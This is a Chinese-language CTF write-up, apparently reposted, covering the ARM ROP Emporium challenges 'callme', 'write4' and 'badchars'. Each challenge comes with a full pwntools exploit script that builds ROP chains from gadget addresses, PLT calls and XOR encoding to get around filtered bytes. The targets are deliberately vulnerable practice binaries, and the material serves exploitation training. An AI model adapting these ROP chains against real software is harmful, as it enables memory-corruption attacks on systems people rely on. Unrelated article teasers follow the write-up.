ARM pwn 入门 (4)

news2024/12/27 17:05:39

3. callme

本题有多个文件,根据题意来看是需要依次调用callme_onecallme_twocallme_three这3个库函数。这三个函数会进行flag的解密,但是需要满足前三个参数等于特定值。这就需要我们去elf文件中寻找合适的gadget了。

而本题正好给出了一个不能再合适的gadget,因为本题的考点就在这里:

因此思路就很简单了,直接重复调用这个gadget修改前3个寄存器的值,再分别调用三个callme函数即可。

这里需要注意的是,elf文件中虽然给出了一个可以调用3个库函数的函数,能够填充got表,但由于ROP只能写入已知地址,如果写入的是got表的地址,那么程序就会将got表地址当做指令地址来执行,这显然是不对的,少了一层解引用。因此我们需要使用plt表进行利用。和x86架构下的利用相同,如果要使用plt表进行利用,需要注意返回地址的设置。如果plt地址卸载栈上地址值为a的地方,ROP到此,返回地址应该为a-8,且返回后SP指向a+8处。因此,我们需要在callme_one函数的plt地址前面写下一个ROP导向地址。

因此我们可以直接在这里写useful_gadget的地址,在callme_one后面直接写三个参数,然后再调用下一个库函数,以此类推。

exp:

from pwn import *
context.arch='arm'
context.log_level='debug'
elf = ELF('./callme_armv5')

# io = process(['qemu-arm-static', '-L', '/usr/arm-linux-gnueabi', '-g', '9999', './callme_armv5'])
io = process(['qemu-arm-static', '-L', '/usr/arm-linux-gnueabi', './callme_armv5'])

useful_gadget = 0x10870
pop_out = 0x108dc

payload = cyclic(0x24)
payload += p32(useful_gadget)
payload += p32(0xdeadbeef) + p32(0xcafebabe) + p32(0xd00df00d)
payload += p32(useful_gadget) + p32(elf.plt['callme_one'])
payload += p32(0xdeadbeef) + p32(0xcafebabe) + p32(0xd00df00d)
payload += p32(useful_gadget) + p32(elf.plt['callme_two'])
payload += p32(0xdeadbeef) + p32(0xcafebabe) + p32(0xd00df00d)
payload += p32(pop_out) + p32(elf.plt['callme_three'])

io.sendlineafter(b'> ', payload)
io.interactive()

4. write4

本题的pwnme和print_file函数都写在了库函数中,但观察elf文件可以发现有两个gadget:

其中第一个为任一地址写指令,第二个可以用作ROP的gadget。考虑到print_file函数需要传入一个字符串参数作为打开的文件,我们需要将flag.txt写到一个特定的地方,然后使用第二个gadget即可传参。

和x86的本题不同,这里的bss段太小,无法写入,因此尝试写入到data段。

exp:

from pwn import *
context.arch='arm'
context.log_level='debug'
elf = ELF('./write4_armv5')

io = process(['qemu-arm-static', '-L', '/usr/arm-linux-gnueabi', './write4_armv5'])

write_addr = 0x21024
write_gadget = 0x105ec
pop_r0pc = 0x105f4
pop_r3r4pc = 0x105f0

payload = cyclic(0x24)
payload += p32(pop_r3r4pc) + b'flag' + p32(write_addr)
payload += p32(write_gadget) + b'.txt' + p32(write_addr + 4);
payload += p32(write_gadget) + p32(0) * 2
payload += p32(pop_r0pc) + p32(write_addr) + p32(elf.plt['print_file'])

io.sendlineafter(b'> ', payload)

io.interactive()

5. badchars

本题的pwnme中栈溢出过滤了4个字符:x、g、a、.,因此需要利用elf中的gadget。我们看一下都有什么gadget。

第一段gadget:[R5]=[R5]-R6; 赋值R0
第二段gadget:[R5]=[R5]+R6; 赋值R0
第三段gadget:[R4]=R3; 赋值R5和R6
第四段gadget:[R5]=[R5]^R6; 赋值R0

看到了异或操作,我们可以利用这个异或操作在数据区构造出来关键字符。这里的加法、减法和异或操作实际上只需要一个就可以了。我们将字符串写在和上一道题相同的位置。

from pwn import *
context.arch='arm'
context.log_level='debug'
elf = ELF('./badchars_armv5')

io = process(['qemu-arm-static', '-L', '/usr/arm-linux-gnueabi', './badchars_armv5'])

gadgets = [0x105f0, 0x10600, 0x10610, 0x10618]
write_addr = 0x21024

payload = p32(write_addr + 12) * (0x2c // 4)	# 这里要写一个有效地址,不然STR R3, [R4]会报错
payload += p32(gadgets[2]) + p32(write_addr) + b'fl' + p8(ord('a') ^ 0xFF) + p8(ord('g') ^ 0xFF)
payload += p32(gadgets[1]) + p32(0)
payload += p32(gadgets[2]) + p32(write_addr) + p32(0xFFFF0000)
payload += p32(gadgets[3]) + p32(0)
payload += p32(gadgets[2]) + p32(write_addr + 4) + p8(ord('.') ^ 0xFF) + b't' + p8(ord('x') ^ 0xFF) + b't'
payload += p32(gadgets[3]) + p32(0)
payload += p32(gadgets[2]) + p32(write_addr + 4) + p32(0xFF00FF)
payload += p32(gadgets[3]) + p32(write_addr)
payload += p32(elf.plt['print_file'])

io.sendlineafter(b'> ', payload)

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/11768.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

为什么模板的声明与定义不能分离?

目录 一、模板的好处与注意事项 二、 声明定义为什么不能不放一起&#xff1f; 一、模板的好处与注意事项 模板的好处从下面代码可以体现&#xff1a; template<typename T> void Swap(T& left, T& right) {T temp left;left right;right temp; } int main…

IDEA+MapReduce+Hive综合实践——搜狗日志查询分析

1.下载数据源 打开搜狗实验室链接&#xff1a;搜狗搜索引擎 - 上网从搜狗开始&#xff0c;由于搜狗实验室链接打不开了&#xff0c;所有这里自己制作一份数据进行实验。 SogouQ.txt: 2.上传下载文件至HDFS 2.1将下载的文件通过FinalShell工具上传到Linux系统 2.2SogouQ.txt并…

dev_I_II笔记

dev1 问题 1.model创建不了&#xff1f; 2.从开发界面双击进入后&#xff0c;如何返回&#xff1f; 3.一个客户端界面的所有东西就是一个项目吗&#xff1f;多个项目的数据全部储存在开发界面的aot中&#xff1f; 4.最终的测试是需要完成一个什么东西&#xff1f; 1.学习…

企业微信自定义客户画像

OpenAPI基本介绍 微伴助手开放接口对接文档 version: 0.4 注1&#xff1a;微伴助手开放接口已经开放公测&#xff0c;进入微伴后台-应用管理-API接入以获取企业标识&#xff08;corp_id&#xff09; &#xff0c;企业API调用凭据&#xff08;secret&#xff09; 注2&#xff…

视图相关知识的汇总

重点大纲 描述视图创建&#xff0c;改变视图的定义&#xff0c;删除视图通过视图重新找回数据通过视图插入&#xff0c;更新和删除数据创建和使用inline视图执行Top-N 分析什么是视图&#xff1f; 视图是基于一张表或者另一张视图的逻辑表。 视图本身不包含数据。视图被存储在…

[数据结构]什么是树?什么是二叉树?

作者&#xff1a; 华丞臧. 专栏&#xff1a;【数据结构】 各位读者老爷如果觉得博主写的不错&#xff0c;请诸位多多支持(点赞收藏关注)。如果有错误的地方&#xff0c;欢迎在评论区指出。 文章目录一、树1.1 树的概念及结构1.2 树的相关概念1.3 树的表示1.4 树在实际中的运用二…

JavaEE——Http请求和响应,https的加密

请求 报头 里面是一系列键值对&#xff0c;有的是标准定义的&#xff0c;有的是自定义的 典型的有以下几个 Host 代表服务器的主机地址和端口 也就是当我们访问浏览器时&#xff0c;可以知道从哪里获取数据 端口号如果省略就代表是默认值&#xff0c;http是80&#xff0c;h…

c++好用的网站

目录 洛谷www.luogu.com.cn 有道小图灵https://oj.youdao.com/csp 维基https://oi-wiki.org/ 1&#xff0c;洛谷 他的网址是www.luogu.com.cn。 这是一个好用的刷题网站&#xff0c;题库里有大约有2000多道题。 洛谷有题里有csp往年的题。 题库&#xff1a; 有题&#x…

怎么把PDF调方向保存?这几个方法值得收藏

小伙伴们在工作的时候&#xff0c;有时候领导会发PDF文件要你查阅重要内容&#xff0c;但不是每次收到的PDF文件都是无损的&#xff0c;有时候打开后发现里面内容杂乱并且页面方向不一致&#xff0c;这个时候有些小伙伴不知道怎么办&#xff0c;那么我们应该怎么把PDF调方向保存…

基于正交投影的实时三维人体姿态估计

王亦洲课题组 ECCV 2022 入选论文解读&#xff1a;基于正交投影的实时三维人体姿态估计 本文是对发表于计算机视觉领域顶级会议 ECCV 2022的论文 Faster VoxelPose: Real-time 3D Human Pose Estimation by Orthographic Projection 的解读。该论文由北京大学王亦洲课题组与微软…

Beam Failure Detection

微信同步更新欢迎关注同名modem协议笔记 正如上篇所述NR中所有的上下行信道的发送和接收都是基于波束。基站通过对信道质量的测量来动态选择UE和基站之间波束的方向和频率&#xff0c;进而完成通信。NR中无线链路检测可以分为两种&#xff0c;一种是4G中常见的radio link mon…

《Linux》day5--ssh——ssh登录与scp传文件

文章目录ssh登录基本用法配置文件密钥登录执行命令scp传文件基本用法使用scp配置其他服务器的vim和tmuxssh登录 基本用法 远程登录服务器。 ssh userhostname其中&#xff1a; user&#xff1a;是用户名hostname&#xff1a;是IP地址或域名 第一次登录会提示&#xff1a; …

城市道路积水识别监测系统

城市道路积水识别监测系统基于机器视觉分析&#xff0c;燧机城市道路积水识别监测系统实时识别街道路面积水情况&#xff0c;对严重积水时立即报警。城市道路积水识别监测系统对低洼区域进行实时监测&#xff0c;一旦城市道路积水识别监测系统监测到街道路面积水时&#xff0c;…

【附源码】Python计算机毕业设计宿舍管理系统设计

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

【雨夜】一次nacos 导致的 CPU 飙高问题

今天下午突然 出现 测试环境 cpu飙高&#xff0c;干到了 60%&#xff0c;其他项目 响应时间明显变长。。。有点吓人&#xff0c;不想背锅 项目背景 出问题的项目是 需要连接各个不同nacos 和不同的 namespace 进行对应操作的 一个项目&#xff0c;对nacos的操作都是httpClien…

OSS(minio使用手册)

minio 官方文档地址:MinIO High Performance Object Storage — MinIO Object Storage for Kubernetes 1.本地客户端下载 1.1 docker 版本&#xff1a; docker pull minio/mc docker run minio/mc ls play docker run -it --entrypoint/bin/sh minio/mc (使用mc客户端操作其他…

2022年数维杯国际大学生数学建模挑战赛C题如何利用大脑结构特征和认知行为特征诊断阿尔茨海默病解题过程

2022年数维杯国际大学生数学建模挑战赛 C题 如何利用大脑结构特征和认知行为特征诊断阿尔茨海默病 原题再现&#xff1a; 阿尔茨海默病&#xff08;AD&#xff09;是一种起病隐匿的进行性神经退行性疾病。临床特征为全谱痴呆&#xff0c;包括记忆障碍、失语、流利不畅、失认、…

Qt QJsonObject初始化列表的使用问题

在VS2013Qt5.9.7上&#xff0c;QJsonObject的初始化列表构造函数有BUG QJsonObject::QJsonObject(std::initializer_list<QPair<QString, QJsonValue> > args)注&#xff1a;使用初始化列表前先要开启编译选项Q_COMPILER_INITIALIZER_LISTS 以下代码Debug异常 QJs…

SpringBoot整合tkMapper的版本问题

文章主旨&#xff1a;有问题首先看官网 昨天新建了个Spring Boot工程&#xff0c;版本为2.6.13 想要整合 tk.mapper&#xff0c;就去官网查找依赖&#xff0c;如下&#xff1a; <dependency><groupId>tk.mybatis</groupId><artifactId>mapper</a…

基于sklearn实现LDA主题模型(附实战案例)

目录 LDA主题模型 1.LDA主题模型原理 2.LDA主题模型推演过程 3.sklearn实现LDA主题模型&#xff08;实战&#xff09; 3.1数据集介绍 3.2导入数据 3.3分词处理 3.4文本向量化 3.5构建LDA模型 3.6LDA模型可视化 3.7困惑度 LDA主题模型 1.LDA主题模型原理 其实说到LDA…